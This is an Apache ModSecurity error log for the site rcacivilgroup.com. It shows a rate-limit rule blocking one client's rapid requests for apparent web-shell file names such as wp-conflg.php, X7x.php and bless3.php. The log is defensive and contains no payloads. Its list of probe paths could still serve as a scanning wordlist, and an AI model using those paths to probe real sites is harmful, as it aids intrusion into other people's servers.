[Sat Nov 15 01:10:56.454761 2025] [:error] [pid 18513:tid 18535] [client 4.205.91.17:64723] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "aRdioPc94upQFzRWlUm9ZAAAAFE"]
[Sat Nov 15 01:10:56.871455 2025] [:error] [pid 45909:tid 45972] [client 4.205.91.17:62736] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "aRdioMZqItrYybG86kiSbAAAAcc"]
[Sat Nov 15 01:10:57.335998 2025] [:error] [pid 18513:tid 18528] [client 4.205.91.17:65396] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/image.php"] [unique_id "aRdiofc94upQFzRWlUm9ZwAAAEo"]
[Sat Nov 15 01:10:57.773096 2025] [:error] [pid 45995:tid 46020] [client 4.205.91.17:65286] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/image.php"] [unique_id "aRdiocfhZrb6EV4SvFu8IwAAAhQ"]
[Sat Nov 15 01:10:58.213925 2025] [:error] [pid 45908:tid 45943] [client 4.205.91.17:62027] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/image.php"] [unique_id "aRdiomWG19mWwZX7KatdFgAAAAU"]
[Sat Nov 15 01:10:58.688220 2025] [:error] [pid 45909:tid 45978] [client 4.205.91.17:64664] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/image.php"] [unique_id "aRdiosZqItrYybG86kiSbQAAAc0"]
[Sat Nov 15 01:10:59.133781 2025] [:error] [pid 18513:tid 18526] [client 4.205.91.17:62735] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aRdio_c94upQFzRWlUm9bgAAAEg"]
[Sat Nov 15 01:10:59.567579 2025] [:error] [pid 18513:tid 18532] [client 4.205.91.17:65374] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aRdio_c94upQFzRWlUm9cQAAAE4"]
[Sat Nov 15 01:11:00.043980 2025] [:error] [pid 18513:tid 18531] [client 4.205.91.17:64672] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aRdipPc94upQFzRWlUm9cwAAAE0"]
[Sat Nov 15 01:11:00.549512 2025] [:error] [pid 18513:tid 18540] [client 4.205.91.17:65349] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aRdipPc94upQFzRWlUm9dQAAAFY"]
[Sat Nov 15 01:11:00.995593 2025] [:error] [pid 18513:tid 18518] [client 4.205.91.17:62835] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-freya.php"] [unique_id "aRdipPc94upQFzRWlUm9dgAAAEA"]
[Sat Nov 15 01:11:02.167882 2025] [:error] [pid 45995:tid 46021] [client 4.205.91.17:62823] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-freya.php"] [unique_id "aRdipsfhZrb6EV4SvFu8JQAAAhU"]
[Sat Nov 15 01:11:02.641999 2025] [:error] [pid 45908:tid 45962] [client 4.205.91.17:61642] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-freya.php"] [unique_id "aRdipmWG19mWwZX7KatdGwAAABg"]
[Sat Nov 15 01:11:03.120785 2025] [:error] [pid 45908:tid 45956] [client 4.205.91.17:62040] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-freya.php"] [unique_id "aRdip2WG19mWwZX7KatdHAAAABI"]
[Sat Nov 15 01:11:03.913731 2025] [:error] [pid 45908:tid 45954] [client 4.205.91.17:65321] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/X7x.php"] [unique_id "aRdip2WG19mWwZX7KatdHQAAABA"]
[Sat Nov 15 01:11:04.411242 2025] [:error] [pid 45995:tid 46011] [client 4.205.91.17:62796] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/X7x.php"] [unique_id "aRdiqMfhZrb6EV4SvFu8KQAAAgs"]
[Sat Nov 15 01:11:04.929558 2025] [:error] [pid 45908:tid 45959] [client 4.205.91.17:62048] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/X7x.php"] [unique_id "aRdiqGWG19mWwZX7KatdHgAAABU"]
[Sat Nov 15 01:11:05.585776 2025] [:error] [pid 45907:tid 45921] [client 4.205.91.17:64653] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/X7x.php"] [unique_id "aRdiqVAqmYxCpnT9gJF-qQAAAUo"]
[Sat Nov 15 01:11:06.039213 2025] [:error] [pid 45909:tid 45975] [client 4.205.91.17:62052] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admir.php"] [unique_id "aRdiqsZqItrYybG86kiScQAAAco"]
[Sat Nov 15 01:11:06.486838 2025] [:error] [pid 45995:tid 46007] [client 4.205.91.17:65400] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admir.php"] [unique_id "aRdiqsfhZrb6EV4SvFu8KwAAAgc"]
[Sat Nov 15 01:11:07.002729 2025] [:error] [pid 45907:tid 45920] [client 4.205.91.17:64696] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admir.php"] [unique_id "aRdiq1AqmYxCpnT9gJF-qwAAAUk"]
[Sat Nov 15 01:11:07.437957 2025] [:error] [pid 45908:tid 45961] [client 4.205.91.17:65308] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admir.php"] [unique_id "aRdiq2WG19mWwZX7KatdJAAAABc"]
[Sat Nov 15 01:11:07.890179 2025] [:error] [pid 45995:tid 46010] [client 4.205.91.17:64729] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file52.php"] [unique_id "aRdiq8fhZrb6EV4SvFu8LgAAAgo"]
[Sat Nov 15 01:11:08.317866 2025] [:error] [pid 45909:tid 45976] [client 4.205.91.17:62723] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file52.php"] [unique_id "aRdirMZqItrYybG86kiSdAAAAcs"]
[Sat Nov 15 01:11:08.861736 2025] [:error] [pid 45995:tid 46012] [client 4.205.91.17:62039] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file52.php"] [unique_id "aRdirMfhZrb6EV4SvFu8MgAAAgw"]
[Sat Nov 15 01:11:09.321836 2025] [:error] [pid 45908:tid 45946] [client 4.205.91.17:62812] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file52.php"] [unique_id "aRdirWWG19mWwZX7KatdJgAAAAg"]
[Sat Nov 15 01:11:09.794397 2025] [:error] [pid 45908:tid 45956] [client 4.205.91.17:64652] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zde.php"] [unique_id "aRdirWWG19mWwZX7KatdJwAAABI"]
[Sat Nov 15 01:11:10.321617 2025] [:error] [pid 45909:tid 45966] [client 4.205.91.17:65338] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zde.php"] [unique_id "aRdirsZqItrYybG86kiSdwAAAcE"]
[Sat Nov 15 01:11:10.851690 2025] [:error] [pid 45908:tid 45947] [client 4.205.91.17:62727] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zde.php"] [unique_id "aRdirmWG19mWwZX7KatdKQAAAAk"]
[Sat Nov 15 01:11:11.376035 2025] [:error] [pid 18513:tid 18536] [client 4.205.91.17:65395] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zde.php"] [unique_id "aRdir_c94upQFzRWlUm9hQAAAFI"]
[Sat Nov 15 01:11:11.799416 2025] [:error] [pid 45908:tid 45951] [client 4.205.91.17:64655] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpo.php"] [unique_id "aRdir2WG19mWwZX7KatdKgAAAA0"]
[Sat Nov 15 01:11:12.252114 2025] [:error] [pid 45908:tid 45943] [client 4.205.91.17:64707] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpo.php"] [unique_id "aRdisGWG19mWwZX7KatdLAAAAAU"]
[Sat Nov 15 01:11:12.813161 2025] [:error] [pid 45995:tid 46007] [client 4.205.91.17:65337] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpo.php"] [unique_id "aRdisMfhZrb6EV4SvFu8NAAAAgc"]
[Sat Nov 15 01:11:13.313852 2025] [:error] [pid 45995:tid 46015] [client 4.205.91.17:64737] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpo.php"] [unique_id "aRdiscfhZrb6EV4SvFu8NwAAAg8"]
[Sat Nov 15 01:11:13.848472 2025] [:error] [pid 45995:tid 46012] [client 4.205.91.17:65323] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aj.php"] [unique_id "aRdiscfhZrb6EV4SvFu8OAAAAgw"]
[Sat Nov 15 01:11:14.280426 2025] [:error] [pid 45908:tid 45945] [client 4.205.91.17:62780] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aj.php"] [unique_id "aRdismWG19mWwZX7KatdLwAAAAc"]
[Sat Nov 15 01:11:14.761459 2025] [:error] [pid 45908:tid 45958] [client 4.205.91.17:62795] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aj.php"] [unique_id "aRdismWG19mWwZX7KatdMAAAABQ"]
[Sat Nov 15 01:11:15.195581 2025] [:error] [pid 45908:tid 45962] [client 4.205.91.17:62847] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aj.php"] [unique_id "aRdis2WG19mWwZX7KatdMQAAABg"]
[Sat Nov 15 01:11:15.720740 2025] [:error] [pid 18513:tid 18525] [client 4.205.91.17:64687] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/opts.php"] [unique_id "aRdis_c94upQFzRWlUm9kgAAAEc"]
[Sat Nov 15 01:11:16.133437 2025] [:error] [pid 18513:tid 18532] [client 4.205.91.17:64700] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/opts.php"] [unique_id "aRditPc94upQFzRWlUm9lAAAAE4"]
[Sat Nov 15 01:11:16.600114 2025] [:error] [pid 18513:tid 18529] [client 4.205.91.17:62781] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/opts.php"] [unique_id "aRditPc94upQFzRWlUm9lQAAAEs"]
[Sat Nov 15 01:11:17.067951 2025] [:error] [pid 45995:tid 46019] [client 4.205.91.17:62042] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/opts.php"] [unique_id "aRditcfhZrb6EV4SvFu8OgAAAhM"]
[Sat Nov 15 01:11:17.553436 2025] [:error] [pid 18513:tid 18530] [client 4.205.91.17:62002] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filer.php"] [unique_id "aRditfc94upQFzRWlUm9mgAAAEw"]
[Sat Nov 15 01:11:17.983511 2025] [:error] [pid 45908:tid 45949] [client 4.205.91.17:61985] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filer.php"] [unique_id "aRditWWG19mWwZX7KatdNQAAAAs"]
[Sat Nov 15 01:11:18.403058 2025] [:error] [pid 45909:tid 45983] [client 4.205.91.17:64682] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filer.php"] [unique_id "aRditsZqItrYybG86kiSfQAAAdI"]
[Sat Nov 15 01:11:18.866588 2025] [:error] [pid 45909:tid 45984] [client 4.205.91.17:65328] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filer.php"] [unique_id "aRditsZqItrYybG86kiSfwAAAdM"]
[Sat Nov 15 01:11:19.365234 2025] [:error] [pid 45907:tid 45932] [client 4.205.91.17:61659] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lites.php"] [unique_id "aRdit1AqmYxCpnT9gJF-sAAAAVU"]
[Sat Nov 15 01:11:19.786742 2025] [:error] [pid 45908:tid 45945] [client 4.205.91.17:62825] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lites.php"] [unique_id "aRdit2WG19mWwZX7KatdOgAAAAc"]
[Sat Nov 15 01:11:20.255230 2025] [:error] [pid 45995:tid 46024] [client 4.205.91.17:62816] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lites.php"] [unique_id "aRdiuMfhZrb6EV4SvFu8PQAAAhg"]
[Sat Nov 15 01:11:20.728028 2025] [:error] [pid 45995:tid 46005] [client 4.205.91.17:62775] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lites.php"] [unique_id "aRdiuMfhZrb6EV4SvFu8PgAAAgU"]
[Sat Nov 15 01:11:21.143704 2025] [:error] [pid 45995:tid 46006] [client 4.205.91.17:62037] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "aRdiucfhZrb6EV4SvFu8QAAAAgY"]
[Sat Nov 15 01:11:21.587197 2025] [:error] [pid 45908:tid 45943] [client 4.205.91.17:62800] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "aRdiuWWG19mWwZX7KatdUQAAAAU"]
[Sat Nov 15 01:11:22.014588 2025] [:error] [pid 45907:tid 45925] [client 4.205.91.17:62791] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "aRdiulAqmYxCpnT9gJF-vAAAAU4"]
[Sat Nov 15 01:11:22.466330 2025] [:error] [pid 45908:tid 45946] [client 4.205.91.17:62765] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "aRdiumWG19mWwZX7KatdVwAAAAg"]
[Sat Nov 15 01:11:23.089599 2025] [:error] [pid 45908:tid 45951] [client 4.205.91.17:65403] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless3.php"] [unique_id "aRdiu2WG19mWwZX7KatdYAAAAA0"]
[Sat Nov 15 01:11:23.529488 2025] [:error] [pid 18513:tid 18525] [client 4.205.91.17:65315] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless3.php"] [unique_id "aRdiu_c94upQFzRWlUm9nAAAAEc"]
